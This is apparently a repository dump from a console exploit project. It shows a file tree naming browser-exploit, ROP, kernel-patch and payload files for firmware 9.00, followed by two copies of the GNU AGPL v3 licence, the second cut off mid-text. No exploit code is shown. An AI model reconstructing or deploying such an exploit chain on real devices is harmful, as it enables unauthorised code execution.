├── COPYING ├── LICENSE ├── README.md ├── about.html ├── alert.mjs ├── cache.html ├── config.mjs ├── fonts ├── FONTS.LICENSE ├── LiberationMono-Regular.ttf └── README.txt ├── index.html ├── kpatch ├── 900.c ├── 900.d ├── 900.elf ├── 900.o ├── Makefile ├── script.ld ├── types.h └── utils.h ├── lapse.mjs ├── module ├── chain.mjs ├── constants.mjs ├── int64.mjs ├── mem.mjs ├── memtools.mjs ├── offset.mjs ├── rw.mjs ├── utils.mjs └── view.mjs ├── payload.bin ├── psfree.mjs ├── psfree_lapse.cache ├── rop └── 900.mjs └── send.mjs /COPYING: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. By contrast, 16 | our General Public Licenses are intended to guarantee your freedom to 17 | share and change all versions of a program--to make sure it remains free 18 | software for all its users. 19 | 20 | When we speak of free software, we are referring to freedom, not 21 | price. Our General Public Licenses are designed to make sure that you 22 | have the freedom to distribute copies of free software (and charge for 23 | them if you wish), that you receive source code or can get it if you 24 | want it, that you can change the software or use pieces of it in new 25 | free programs, and that you know you can do these things. 26 | 27 | Developers that use our General Public Licenses protect your rights 28 | with two steps: (1) assert copyright on the software, and (2) offer 29 | you this License which gives you legal permission to copy, distribute 30 | and/or modify the software. 31 | 32 | A secondary benefit of defending all users' freedom is that 33 | improvements made in alternate versions of the program, if they 34 | receive widespread use, become available for other developers to 35 | incorporate. Many developers of free software are heartened and 36 | encouraged by the resulting cooperation. However, in the case of 37 | software used on network servers, this result may fail to come about. 38 | The GNU General Public License permits making a modified version and 39 | letting the public access it on a server without ever releasing its 40 | source code to the public. 41 | 42 | The GNU Affero General Public License is designed specifically to 43 | ensure that, in such cases, the modified source code becomes available 44 | to the community. It requires the operator of a network server to 45 | provide the source code of the modified version running there to the 46 | users of that server. Therefore, public use of a modified version, on 47 | a publicly accessible server, gives the public access to the source 48 | code of the modified version. 49 | 50 | An older license, called the Affero General Public License and 51 | published by Affero, was designed to accomplish similar goals. This is 52 | a different license, not a version of the Affero GPL, but Affero has 53 | released a new version of the Affero GPL which permits relicensing under 54 | this license. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | TERMS AND CONDITIONS 60 | 61 | 0. Definitions. 62 | 63 | "This License" refers to version 3 of the GNU Affero General Public License. 64 | 65 | "Copyright" also means copyright-like laws that apply to other kinds of 66 | works, such as semiconductor masks. 67 | 68 | "The Program" refers to any copyrightable work licensed under this 69 | License. Each licensee is addressed as "you". "Licensees" and 70 | "recipients" may be individuals or organizations. 71 | 72 | To "modify" a work means to copy from or adapt all or part of the work 73 | in a fashion requiring copyright permission, other than the making of an 74 | exact copy. The resulting work is called a "modified version" of the 75 | earlier work or a work "based on" the earlier work. 76 | 77 | A "covered work" means either the unmodified Program or a work based 78 | on the Program. 79 | 80 | To "propagate" a work means to do anything with it that, without 81 | permission, would make you directly or secondarily liable for 82 | infringement under applicable copyright law, except executing it on a 83 | computer or modifying a private copy. Propagation includes copying, 84 | distribution (with or without modification), making available to the 85 | public, and in some countries other activities as well. 86 | 87 | To "convey" a work means any kind of propagation that enables other 88 | parties to make or receive copies. Mere interaction with a user through 89 | a computer network, with no transfer of a copy, is not conveying. 90 | 91 | An interactive user interface displays "Appropriate Legal Notices" 92 | to the extent that it includes a convenient and prominently visible 93 | feature that (1) displays an appropriate copyright notice, and (2) 94 | tells the user that there is no warranty for the work (except to the 95 | extent that warranties are provided), that licensees may convey the 96 | work under this License, and how to view a copy of this License. If 97 | the interface presents a list of user commands or options, such as a 98 | menu, a prominent item in the list meets this criterion. 99 | 100 | 1. Source Code. 101 | 102 | The "source code" for a work means the preferred form of the work 103 | for making modifications to it. "Object code" means any non-source 104 | form of a work. 105 | 106 | A "Standard Interface" means an interface that either is an official 107 | standard defined by a recognized standards body, or, in the case of 108 | interfaces specified for a particular programming language, one that 109 | is widely used among developers working in that language. 110 | 111 | The "System Libraries" of an executable work include anything, other 112 | than the work as a whole, that (a) is included in the normal form of 113 | packaging a Major Component, but which is not part of that Major 114 | Component, and (b) serves only to enable use of the work with that 115 | Major Component, or to implement a Standard Interface for which an 116 | implementation is available to the public in source code form. A 117 | "Major Component", in this context, means a major essential component 118 | (kernel, window system, and so on) of the specific operating system 119 | (if any) on which the executable work runs, or a compiler used to 120 | produce the work, or an object code interpreter used to run it. 121 | 122 | The "Corresponding Source" for a work in object code form means all 123 | the source code needed to generate, install, and (for an executable 124 | work) run the object code and to modify the work, including scripts to 125 | control those activities. However, it does not include the work's 126 | System Libraries, or general-purpose tools or generally available free 127 | programs which are used unmodified in performing those activities but 128 | which are not part of the work. For example, Corresponding Source 129 | includes interface definition files associated with source files for 130 | the work, and the source code for shared libraries and dynamically 131 | linked subprograms that the work is specifically designed to require, 132 | such as by intimate data communication or control flow between those 133 | subprograms and other parts of the work. 134 | 135 | The Corresponding Source need not include anything that users 136 | can regenerate automatically from other parts of the Corresponding 137 | Source. 138 | 139 | The Corresponding Source for a work in source code form is that 140 | same work. 141 | 142 | 2. Basic Permissions. 143 | 144 | All rights granted under this License are granted for the term of 145 | copyright on the Program, and are irrevocable provided the stated 146 | conditions are met. This License explicitly affirms your unlimited 147 | permission to run the unmodified Program. The output from running a 148 | covered work is covered by this License only if the output, given its 149 | content, constitutes a covered work. This License acknowledges your 150 | rights of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not 153 | convey, without conditions so long as your license otherwise remains 154 | in force. You may convey covered works to others for the sole purpose 155 | of having them make modifications exclusively for you, or provide you 156 | with facilities for running those works, provided that you comply with 157 | the terms of this License in conveying all material for which you do 158 | not control copyright. Those thus making or running the covered works 159 | for you must do so exclusively on your behalf, under your direction 160 | and control, on terms that prohibit them from making any copies of 161 | your copyrighted material outside their relationship with you. 162 | 163 | Conveying under any other circumstances is permitted solely under 164 | the conditions stated below. Sublicensing is not allowed; section 10 165 | makes it unnecessary. 166 | 167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 168 | 169 | No covered work shall be deemed part of an effective technological 170 | measure under any applicable law fulfilling obligations under article 171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 172 | similar laws prohibiting or restricting circumvention of such 173 | measures. 174 | 175 | When you convey a covered work, you waive any legal power to forbid 176 | circumvention of technological measures to the extent such circumvention 177 | is effected by exercising rights under this License with respect to 178 | the covered work, and you disclaim any intention to limit operation or 179 | modification of the work as a means of enforcing, against the work's 180 | users, your or third parties' legal rights to forbid circumvention of 181 | technological measures. 182 | 183 | 4. Conveying Verbatim Copies. 184 | 185 | You may convey verbatim copies of the Program's source code as you 186 | receive it, in any medium, provided that you conspicuously and 187 | appropriately publish on each copy an appropriate copyright notice; 188 | keep intact all notices stating that this License and any 189 | non-permissive terms added in accord with section 7 apply to the code; 190 | keep intact all notices of the absence of any warranty; and give all 191 | recipients a copy of this License along with the Program. 192 | 193 | You may charge any price or no price for each copy that you convey, 194 | and you may offer support or warranty protection for a fee. 195 | 196 | 5. Conveying Modified Source Versions. 197 | 198 | You may convey a work based on the Program, or the modifications to 199 | produce it from the Program, in the form of source code under the 200 | terms of section 4, provided that you also meet all of these conditions: 201 | 202 | a) The work must carry prominent notices stating that you modified 203 | it, and giving a relevant date. 204 | 205 | b) The work must carry prominent notices stating that it is 206 | released under this License and any conditions added under section 207 | 7. This requirement modifies the requirement in section 4 to 208 | "keep intact all notices". 209 | 210 | c) You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | 218 | d) If the work has interactive user interfaces, each must display 219 | Appropriate Legal Notices; however, if the Program has interactive 220 | interfaces that do not display Appropriate Legal Notices, your 221 | work need not make them do so. 222 | 223 | A compilation of a covered work with other separate and independent 224 | works, which are not by their nature extensions of the covered work, 225 | and which are not combined with it such as to form a larger program, 226 | in or on a volume of a storage or distribution medium, is called an 227 | "aggregate" if the compilation and its resulting copyright are not 228 | used to limit the access or legal rights of the compilation's users 229 | beyond what the individual works permit. Inclusion of a covered work 230 | in an aggregate does not cause this License to apply to the other 231 | parts of the aggregate. 232 | 233 | 6. Conveying Non-Source Forms. 234 | 235 | You may convey a covered work in object code form under the terms 236 | of sections 4 and 5, provided that you also convey the 237 | machine-readable Corresponding Source under the terms of this License, 238 | in one of these ways: 239 | 240 | a) Convey the object code in, or embodied in, a physical product 241 | (including a physical distribution medium), accompanied by the 242 | Corresponding Source fixed on a durable physical medium 243 | customarily used for software interchange. 244 | 245 | b) Convey the object code in, or embodied in, a physical product 246 | (including a physical distribution medium), accompanied by a 247 | written offer, valid for at least three years and valid for as 248 | long as you offer spare parts or customer support for that product 249 | model, to give anyone who possesses the object code either (1) a 250 | copy of the Corresponding Source for all the software in the 251 | product that is covered by this License, on a durable physical 252 | medium customarily used for software interchange, for a price no 253 | more than your reasonable cost of physically performing this 254 | conveying of source, or (2) access to copy the 255 | Corresponding Source from a network server at no charge. 256 | 257 | c) Convey individual copies of the object code with a copy of the 258 | written offer to provide the Corresponding Source. This 259 | alternative is allowed only occasionally and noncommercially, and 260 | only if you received the object code with such an offer, in accord 261 | with subsection 6b. 262 | 263 | d) Convey the object code by offering access from a designated 264 | place (gratis or for a charge), and offer equivalent access to the 265 | Corresponding Source in the same way through the same place at no 266 | further charge. You need not require recipients to copy the 267 | Corresponding Source along with the object code. If the place to 268 | copy the object code is a network server, the Corresponding Source 269 | may be on a different server (operated by you or a third party) 270 | that supports equivalent copying facilities, provided you maintain 271 | clear directions next to the object code saying where to find the 272 | Corresponding Source. Regardless of what server hosts the 273 | Corresponding Source, you remain obligated to ensure that it is 274 | available for as long as needed to satisfy these requirements. 275 | 276 | e) Convey the object code using peer-to-peer transmission, provided 277 | you inform other peers where the object code and Corresponding 278 | Source of the work are being offered to the general public at no 279 | charge under subsection 6d. 280 | 281 | A separable portion of the object code, whose source code is excluded 282 | from the Corresponding Source as a System Library, need not be 283 | included in conveying the object code work. 284 | 285 | A "User Product" is either (1) a "consumer product", which means any 286 | tangible personal property which is normally used for personal, family, 287 | or household purposes, or (2) anything designed or sold for incorporation 288 | into a dwelling. In determining whether a product is a consumer product, 289 | doubtful cases shall be resolved in favor of coverage. For a particular 290 | product received by a particular user, "normally used" refers to a 291 | typical or common use of that class of product, regardless of the status 292 | of the particular user or of the way in which the particular user 293 | actually uses, or expects or is expected to use, the product. A product 294 | is a consumer product regardless of whether the product has substantial 295 | commercial, industrial or non-consumer uses, unless such uses represent 296 | the only significant mode of use of the product. 297 | 298 | "Installation Information" for a User Product means any methods, 299 | procedures, authorization keys, or other information required to install 300 | and execute modified versions of a covered work in that User Product from 301 | a modified version of its Corresponding Source. The information must 302 | suffice to ensure that the continued functioning of the modified object 303 | code is in no case prevented or interfered with solely because 304 | modification has been made. 305 | 306 | If you convey an object code work under this section in, or with, or 307 | specifically for use in, a User Product, and the conveying occurs as 308 | part of a transaction in which the right of possession and use of the 309 | User Product is transferred to the recipient in perpetuity or for a 310 | fixed term (regardless of how the transaction is characterized), the 311 | Corresponding Source conveyed under this section must be accompanied 312 | by the Installation Information. But this requirement does not apply 313 | if neither you nor any third party retains the ability to install 314 | modified object code on the User Product (for example, the work has 315 | been installed in ROM). 316 | 317 | The requirement to provide Installation Information does not include a 318 | requirement to continue to provide support service, warranty, or updates 319 | for a work that has been modified or installed by the recipient, or for 320 | the User Product in which it has been modified or installed. Access to a 321 | network may be denied when the modification itself materially and 322 | adversely affects the operation of the network or violates the rules and 323 | protocols for communication across the network. 324 | 325 | Corresponding Source conveyed, and Installation Information provided, 326 | in accord with this section must be in a format that is publicly 327 | documented (and with an implementation available to the public in 328 | source code form), and must require no special password or key for 329 | unpacking, reading or copying. 330 | 331 | 7. Additional Terms. 332 | 333 | "Additional permissions" are terms that supplement the terms of this 334 | License by making exceptions from one or more of its conditions. 335 | Additional permissions that are applicable to the entire Program shall 336 | be treated as though they were included in this License, to the extent 337 | that they are valid under applicable law. If additional permissions 338 | apply only to part of the Program, that part may be used separately 339 | under those permissions, but the entire Program remains governed by 340 | this License without regard to the additional permissions. 341 | 342 | When you convey a copy of a covered work, you may at your option 343 | remove any additional permissions from that copy, or from any part of 344 | it. (Additional permissions may be written to require their own 345 | removal in certain cases when you modify the work.) You may place 346 | additional permissions on material, added by you to a covered work, 347 | for which you have or can give appropriate copyright permission. 348 | 349 | Notwithstanding any other provision of this License, for material you 350 | add to a covered work, you may (if authorized by the copyright holders of 351 | that material) supplement the terms of this License with terms: 352 | 353 | a) Disclaiming warranty or limiting liability differently from the 354 | terms of sections 15 and 16 of this License; or 355 | 356 | b) Requiring preservation of specified reasonable legal notices or 357 | author attributions in that material or in the Appropriate Legal 358 | Notices displayed by works containing it; or 359 | 360 | c) Prohibiting misrepresentation of the origin of that material, or 361 | requiring that modified versions of such material be marked in 362 | reasonable ways as different from the original version; or 363 | 364 | d) Limiting the use for publicity purposes of names of licensors or 365 | authors of the material; or 366 | 367 | e) Declining to grant rights under trademark law for use of some 368 | trade names, trademarks, or service marks; or 369 | 370 | f) Requiring indemnification of licensors and authors of that 371 | material by anyone who conveys the material (or modified versions of 372 | it) with contractual assumptions of liability to the recipient, for 373 | any liability that these contractual assumptions directly impose on 374 | those licensors and authors. 375 | 376 | All other non-permissive additional terms are considered "further 377 | restrictions" within the meaning of section 10. If the Program as you 378 | received it, or any part of it, contains a notice stating that it is 379 | governed by this License along with a term that is a further 380 | restriction, you may remove that term. If a license document contains 381 | a further restriction but permits relicensing or conveying under this 382 | License, you may add to a covered work material governed by the terms 383 | of that license document, provided that the further restriction does 384 | not survive such relicensing or conveying. 385 | 386 | If you add terms to a covered work in accord with this section, you 387 | must place, in the relevant source files, a statement of the 388 | additional terms that apply to those files, or a notice indicating 389 | where to find the applicable terms. 390 | 391 | Additional terms, permissive or non-permissive, may be stated in the 392 | form of a separately written license, or stated as exceptions; 393 | the above requirements apply either way. 394 | 395 | 8. Termination. 396 | 397 | You may not propagate or modify a covered work except as expressly 398 | provided under this License. Any attempt otherwise to propagate or 399 | modify it is void, and will automatically terminate your rights under 400 | this License (including any patent licenses granted under the third 401 | paragraph of section 11). 402 | 403 | However, if you cease all violation of this License, then your 404 | license from a particular copyright holder is reinstated (a) 405 | provisionally, unless and until the copyright holder explicitly and 406 | finally terminates your license, and (b) permanently, if the copyright 407 | holder fails to notify you of the violation by some reasonable means 408 | prior to 60 days after the cessation. 409 | 410 | Moreover, your license from a particular copyright holder is 411 | reinstated permanently if the copyright holder notifies you of the 412 | violation by some reasonable means, this is the first time you have 413 | received notice of violation of this License (for any work) from that 414 | copyright holder, and you cure the violation prior to 30 days after 415 | your receipt of the notice. 416 | 417 | Termination of your rights under this section does not terminate the 418 | licenses of parties who have received copies or rights from you under 419 | this License. If your rights have been terminated and not permanently 420 | reinstated, you do not qualify to receive new licenses for the same 421 | material under section 10. 422 | 423 | 9. Acceptance Not Required for Having Copies. 424 | 425 | You are not required to accept this License in order to receive or 426 | run a copy of the Program. Ancillary propagation of a covered work 427 | occurring solely as a consequence of using peer-to-peer transmission 428 | to receive a copy likewise does not require acceptance. However, 429 | nothing other than this License grants you permission to propagate or 430 | modify any covered work. These actions infringe copyright if you do 431 | not accept this License. Therefore, by modifying or propagating a 432 | covered work, you indicate your acceptance of this License to do so. 433 | 434 | 10. Automatic Licensing of Downstream Recipients. 435 | 436 | Each time you convey a covered work, the recipient automatically 437 | receives a license from the original licensors, to run, modify and 438 | propagate that work, subject to this License. You are not responsible 439 | for enforcing compliance by third parties with this License. 440 | 441 | An "entity transaction" is a transaction transferring control of an 442 | organization, or substantially all assets of one, or subdividing an 443 | organization, or merging organizations. If propagation of a covered 444 | work results from an entity transaction, each party to that 445 | transaction who receives a copy of the work also receives whatever 446 | licenses to the work the party's predecessor in interest had or could 447 | give under the previous paragraph, plus a right to possession of the 448 | Corresponding Source of the work from the predecessor in interest, if 449 | the predecessor has it or can get it with reasonable efforts. 450 | 451 | You may not impose any further restrictions on the exercise of the 452 | rights granted or affirmed under this License. For example, you may 453 | not impose a license fee, royalty, or other charge for exercise of 454 | rights granted under this License, and you may not initiate litigation 455 | (including a cross-claim or counterclaim in a lawsuit) alleging that 456 | any patent claim is infringed by making, using, selling, offering for 457 | sale, or importing the Program or any portion of it. 458 | 459 | 11. Patents. 460 | 461 | A "contributor" is a copyright holder who authorizes use under this 462 | License of the Program or a work on which the Program is based. The 463 | work thus licensed is called the contributor's "contributor version". 464 | 465 | A contributor's "essential patent claims" are all patent claims 466 | owned or controlled by the contributor, whether already acquired or 467 | hereafter acquired, that would be infringed by some manner, permitted 468 | by this License, of making, using, or selling its contributor version, 469 | but do not include claims that would be infringed only as a 470 | consequence of further modification of the contributor version. For 471 | purposes of this definition, "control" includes the right to grant 472 | patent sublicenses in a manner consistent with the requirements of 473 | this License. 474 | 475 | Each contributor grants you a non-exclusive, worldwide, royalty-free 476 | patent license under the contributor's essential patent claims, to 477 | make, use, sell, offer for sale, import and otherwise run, modify and 478 | propagate the contents of its contributor version. 479 | 480 | In the following three paragraphs, a "patent license" is any express 481 | agreement or commitment, however denominated, not to enforce a patent 482 | (such as an express permission to practice a patent or covenant not to 483 | sue for patent infringement). To "grant" such a patent license to a 484 | party means to make such an agreement or commitment not to enforce a 485 | patent against the party. 486 | 487 | If you convey a covered work, knowingly relying on a patent license, 488 | and the Corresponding Source of the work is not available for anyone 489 | to copy, free of charge and under the terms of this License, through a 490 | publicly available network server or other readily accessible means, 491 | then you must either (1) cause the Corresponding Source to be so 492 | available, or (2) arrange to deprive yourself of the benefit of the 493 | patent license for this particular work, or (3) arrange, in a manner 494 | consistent with the requirements of this License, to extend the patent 495 | license to downstream recipients. "Knowingly relying" means you have 496 | actual knowledge that, but for the patent license, your conveying the 497 | covered work in a country, or your recipient's use of the covered work 498 | in a country, would infringe one or more identifiable patents in that 499 | country that you have reason to believe are valid. 500 | 501 | If, pursuant to or in connection with a single transaction or 502 | arrangement, you convey, or propagate by procuring conveyance of, a 503 | covered work, and grant a patent license to some of the parties 504 | receiving the covered work authorizing them to use, propagate, modify 505 | or convey a specific copy of the covered work, then the patent license 506 | you grant is automatically extended to all recipients of the covered 507 | work and works based on it. 508 | 509 | A patent license is "discriminatory" if it does not include within 510 | the scope of its coverage, prohibits the exercise of, or is 511 | conditioned on the non-exercise of one or more of the rights that are 512 | specifically granted under this License. You may not convey a covered 513 | work if you are a party to an arrangement with a third party that is 514 | in the business of distributing software, under which you make payment 515 | to the third party based on the extent of your activity of conveying 516 | the work, and under which the third party grants, to any of the 517 | parties who would receive the covered work from you, a discriminatory 518 | patent license (a) in connection with copies of the covered work 519 | conveyed by you (or copies made from those copies), or (b) primarily 520 | for and in connection with specific products or compilations that 521 | contain the covered work, unless you entered into that arrangement, 522 | or that patent license was granted, prior to 28 March 2007. 523 | 524 | Nothing in this License shall be construed as excluding or limiting 525 | any implied license or other defenses to infringement that may 526 | otherwise be available to you under applicable patent law. 527 | 528 | 12. No Surrender of Others' Freedom. 529 | 530 | If conditions are imposed on you (whether by court order, agreement or 531 | otherwise) that contradict the conditions of this License, they do not 532 | excuse you from the conditions of this License. If you cannot convey a 533 | covered work so as to satisfy simultaneously your obligations under this 534 | License and any other pertinent obligations, then as a consequence you may 535 | not convey it at all. For example, if you agree to terms that obligate you 536 | to collect a royalty for further conveying from those to whom you convey 537 | the Program, the only way you could satisfy both those terms and this 538 | License would be to refrain entirely from conveying the Program. 539 | 540 | 13. Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published by 637 | the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. By contrast, 16 | our General Public Licenses are intended to guarantee your freedom to 17 | share and change all versions of a program--to make sure it remains free 18 | software for all its users. 19 | 20 | When we speak of free software, we are referring to freedom, not 21 | price. Our General Public Licenses are designed to make sure that you 22 | have the freedom to distribute copies of free software (and charge for 23 | them if you wish), that you receive source code or can get it if you 24 | want it, that you can change the software or use pieces of it in new 25 | free programs, and that you know you can do these things. 26 | 27 | Developers that use our General Public Licenses protect your rights 28 | with two steps: (1) assert copyright on the software, and (2) offer 29 | you this License which gives you legal permission to copy, distribute 30 | and/or modify the software. 31 | 32 | A secondary benefit of defending all users' freedom is that 33 | improvements made in alternate versions of the program, if they 34 | receive widespread use, become available for other developers to 35 | incorporate. Many developers of free software are heartened and 36 | encouraged by the resulting cooperation. However, in the case of 37 | software used on network servers, this result may fail to come about. 38 | The GNU General Public License permits making a modified version and 39 | letting the public access it on a server without ever releasing its 40 | source code to the public. 41 | 42 | The GNU Affero General Public License is designed specifically to 43 | ensure that, in such cases, the modified source code becomes available 44 | to the community. It requires the operator of a network server to 45 | provide the source code of the modified version running there to the 46 | users of that server. Therefore, public use of a modified version, on 47 | a publicly accessible server, gives the public access to the source 48 | code of the modified version. 49 | 50 | An older license, called the Affero General Public License and 51 | published by Affero, was designed to accomplish similar goals. This is 52 | a different license, not a version of the Affero GPL, but Affero has 53 | released a new version of the Affero GPL which permits relicensing under 54 | this license. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | TERMS AND CONDITIONS 60 | 61 | 0. Definitions. 62 | 63 | "This License" refers to version 3 of the GNU Affero General Public License. 64 | 65 | "Copyright" also means copyright-like laws that apply to other kinds of 66 | works, such as semiconductor masks. 67 | 68 | "The Program" refers to any copyrightable work licensed under this 69 | License. Each licensee is addressed as "you". "Licensees" and 70 | "recipients" may be individuals or organizations. 71 | 72 | To "modify" a work means to copy from or adapt all or part of the work 73 | in a fashion requiring copyright permission, other than the making of an 74 | exact copy. The resulting work is called a "modified version" of the 75 | earlier work or a work "based on" the earlier work. 76 | 77 | A "covered work" means either the unmodified Program or a work based 78 | on the Program. 79 | 80 | To "propagate" a work means to do anything with it that, without 81 | permission, would make you directly or secondarily liable for 82 | infringement under applicable copyright law, except executing it on a 83 | computer or modifying a private copy. Propagation includes copying, 84 | distribution (with or without modification), making available to the 85 | public, and in some countries other activities as well. 86 | 87 | To "convey" a work means any kind of propagation that enables other 88 | parties to make or receive copies. Mere interaction with a user through 89 | a computer network, with no transfer of a copy, is not conveying. 90 | 91 | An interactive user interface displays "Appropriate Legal Notices" 92 | to the extent that it includes a convenient and prominently visible 93 | feature that (1) displays an appropriate copyright notice, and (2) 94 | tells the user that there is no warranty for the work (except to the 95 | extent that warranties are provided), that licensees may convey the 96 | work under this License, and how to view a copy of this License. If 97 | the interface presents a list of user commands or options, such as a 98 | menu, a prominent item in the list meets this criterion. 99 | 100 | 1. Source Code. 101 | 102 | The "source code" for a work means the preferred form of the work 103 | for making modifications to it. "Object code" means any non-source 104 | form of a work. 105 | 106 | A "Standard Interface" means an interface that either is an official 107 | standard defined by a recognized standards body, or, in the case of 108 | interfaces specified for a particular programming language, one that 109 | is widely used among developers working in that language. 110 | 111 | The "System Libraries" of an executable work include anything, other 112 | than the work as a whole, that (a) is included in the normal form of 113 | packaging a Major Component, but which is not part of that Major 114 | Component, and (b) serves only to enable use of the work with that 115 | Major Component, or to implement a Standard Interface for which an 116 | implementation is available to the public in source code form. A 117 | "Major Component", in this context, means a major essential component 118 | (kernel, window system, and so on) of the specific operating system 119 | (if any) on which the executable work runs, or a compiler used to 120 | produce the work, or an object code interpreter used to run it. 121 | 122 | The "Corresponding Source" for a work in object code form means all 123 | the source code needed to generate, install, and (for an executable 124 | work) run the object code and to modify the work, including scripts to 125 | control those activities. However, it does not include the work's 126 | System Libraries, or general-purpose tools or generally available free 127 | programs which are used unmodified in performing those activities but 128 | which are not part of the work. For example, Corresponding Source 129 | 